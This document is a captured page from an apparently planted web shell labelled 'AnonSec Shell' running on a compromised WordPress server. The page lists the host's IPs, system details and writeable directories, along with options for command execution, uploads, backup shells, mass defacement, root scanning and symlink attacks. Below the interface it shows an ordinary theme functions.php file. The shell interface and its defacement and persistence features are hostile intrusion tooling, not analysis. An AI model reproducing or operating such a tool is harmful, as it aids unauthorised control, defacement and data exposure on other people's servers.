AnonSec Shell
Server IP : 52.91.253.208  /  Your IP : 3.16.79.33   [ Reverse IP ]
Web Server : Apache
System : Linux ip-172-26-9-9 4.19.0-25-cloud-amd64 #1 SMP Debian 4.19.289-1 (2023-07-24) x86_64
User : daemon ( 1)
PHP Version : 7.3.18
Disable Function : NONE
Domains : 3 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/apps/wordpress/htdocs/wp-content/tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /opt/bitnami/apps/wordpress/htdocs/wp-content/tmp/functions.php
<?php
/**
 * Poderdovoto Theme functions and definitions
 *
 * @link https://developer.wordpress.org/themes/basics/theme-functions/
 *
 * @package Poderdovoto
 * @since 1.0.0
 */

/**
 * Define Constants
 */
define( 'PODERDOVOTO_THEME_VERSION', '1.0.0' );

/**
 * Enqueue styles
 */
function child_enqueue_styles() {

	wp_enqueue_style( 'poderdovoto-theme-css', get_stylesheet_directory_uri() . '/style.css', array('oceanwp-theme-css'), PODERDOVOTO_THEME_VERSION, 'all' );

}

add_action( 'wp_enqueue_scripts', 'child_enqueue_styles', 15 );

function poderdovoto_setup() {
    load_child_theme_textdomain( 'oceanwp', get_stylesheet_directory() . '/languages' );
}
add_action( 'after_setup_theme', 'artneo_setup' );

// hide fields
add_action('admin_head', 'my_custom_css');
function my_custom_css() { 
echo '<style>
#formatdiv, #pageparentdiv, #ampforwp_title_meta, #ampforwp_title_meta_redir {
display: none;
}
</style>';
}

// editar texto "Search Results for:"
add_filter('elementor/utils/get_the_archive_title','resultado_busca');
function resultado_busca( $title ) {
if(is_search()){

return get_search_query();
}
return $title;

}

// adicionar menu para editor
$role_object = get_role( 'editor' );
$role_object->add_cap( 'edit_theme_options' );

Anon7 - 2022
AnonSec Team